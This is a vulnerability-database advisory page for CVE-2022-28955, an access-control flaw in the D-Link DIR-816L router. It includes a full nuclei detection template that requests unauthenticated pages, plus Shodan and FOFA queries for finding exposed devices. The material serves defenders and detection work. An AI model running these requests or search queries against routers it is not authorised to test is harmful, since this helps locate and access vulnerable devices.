HexBrain

Browse / CVEs / CVE-2022-28955

CVE-2022-28955· dlink / dir-816l firmware· CWE-287

D-Link DIR-816L - Improper Access Control

highseverity
7.5CVSS score
39.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

D-Link DIR-816L_FW206b01 is susceptible to improper access control. An attacker can access folders folder_view.php and category_view.php and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or control of the affected router.

Fix

Apply the latest firmware update provided by D-Link to fix the access control issue.

How to confirm it

Send: GET {{BaseURL}}/category_view.php ; GET {{BaseURL}}/folder_view.php
Positive when: contains "<title>SharePort Web Access</title>" AND status 200

Run it with nuclei: nuclei -id CVE-2022-28955 -u <target>

The full check
id: CVE-2022-28955

info:
  name: D-Link DIR-816L - Improper Access Control
  author: arafatansari
  severity: high
  description: |
    D-Link DIR-816L_FW206b01 is susceptible to improper access control. An attacker can access folders folder_view.php and category_view.php and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or control of the affected router.
  remediation: |
    Apply the latest firmware update provided by D-Link to fix the access control issue.
  reference:
    - https://github.com/shijin0925/IOT/blob/master/DIR816/1.md
    - https://www.dlink.com/en/security-bulletin/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28955
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-28955
    cwe-id: CWE-287
    epss-score: 0.39733
    epss-percentile: 0.98634
    cpe: cpe:2.3:o:dlink:dir-816l_firmware:206b01:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: dlink
    product: dir-816l_firmware
    shodan-query:
      - http.html:"DIR-816L"
      - http.html:"dir-816l"
    fofa-query: body="dir-816l"
  tags: cve2022,cve,dlink,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/category_view.php"
      - "{{BaseURL}}/folder_view.php"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<title>SharePort Web Access</title>'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from